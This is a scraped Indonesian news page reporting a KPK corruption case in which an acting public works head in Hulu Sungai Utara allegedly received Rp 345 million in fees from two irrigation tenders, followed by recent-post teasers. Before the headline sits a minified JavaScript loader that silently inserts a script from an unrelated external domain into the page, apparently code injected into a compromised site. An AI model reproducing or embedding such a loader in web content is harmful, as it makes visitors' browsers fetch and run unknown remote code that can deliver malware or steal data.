(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Plt Kadis PU HSU Terima Fee Rp 345 Juta dari 2 Tender Proyek Irigasi


KANALKALIMANTAN.COM, AMUNTAI – Komisi Pemberantasan Korupsi (KPK) menjelaskan konstruksi kasus operasi tangkap tangan (OTT) yang melibatkan Plt Kadis PU Hulu Sungai Utara (HSU) Maliki, pada Rabu (15/9/2021) malam.

Saat konferensi pers yang berlangsung di gedung KPK, Kamis (16/9/2021) malam, disebutkan bahwa Miliki menerima uang sebesar Rp 345 juta dari fee dua proyek irigasi.

“Sebagai kesepakatan komitmen fee 15 persen, Maliki kemudian menerima uang sebesar Rp 170 juta dan Rp 175 juta dalam bentuk tunai,” kata Wakil Ketua KPK Alexander Marwata.

Sebelumnya, disebutkan bahwa Dinas PU Hulu Sungai Utara melakukan lelang 2 proyek irigasi yang masing-masing nilainya Rp 1,9 miliar dan Rp 1,5 miliar.

 

 

Maliki, selaku Plt Kadis PU, diduga telah lebih dulu memberikan persyaratan lelang pada Marhaini dan Fachriadi sebagai calon pemenang kedua proyek irigasi dimaksud, dengan kesepakatan memberikan sejumlah uang komitmen fee sebesar 15 persen dari nilai proyek.

Baca juga : OTT KPK di HSU terkait 2 Proyek Irigasi Senilai Rp 1,9 miliar dan Rp 1,5 miliar

Hasilnya, perusahaan milik Marhaini, CV Hanamas, memenangkan proyek irigasi dimaksud yang nilainya Rp 1,9 miliar. Sedangkan perusahaan milik Fachriadi, CV Kalpataru, memenangkan tender proyek irigasi yang nilai Rp 1,5 miliar.

“Maka KPK meningkatkan status perkara ini ke tahap penyidikan dengan menetapkan tersangka MK (Maliki) Plt Kadis PU pada Dinas PUPR Kabupaten Hulu Sungai Utara sekaligus KPA dan PPK, dan MRH (Marhaini) pihak swasta selaku pemberi dan FA (Fachriadi) pihak swasta,” kata Alexander Marwata.

Marhaini dan Fachriadi selaku pihak pemberi disangkakan melanggar Pasal 5 ayat 1 huruf a atau b, atau Pasal 13 UU KPK juncto Pasal 65 KUHP. Maliki selaku penerima disangkakan melanggar Pasal 12 huruf a atau b atau pasal 11 UU KPK juncto Pasal 64 dan Pasal 65 KUHP.

Untuk proses penyidikan, KPK menahan Maliki di Rutan KPK Cabang Pomdam Jaya Guntur. Sedangkan Marhaini dan Fachriadi ditahan di Rutan KPK Gedung Merah Putih. Ketiganya ditahan selama 20 hari ke depan, terhitung mulai hari ini hingga 5 Oktober 2021. (Kanalkalimantan.com/chandra)

Reporter : chandra
Editor: cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.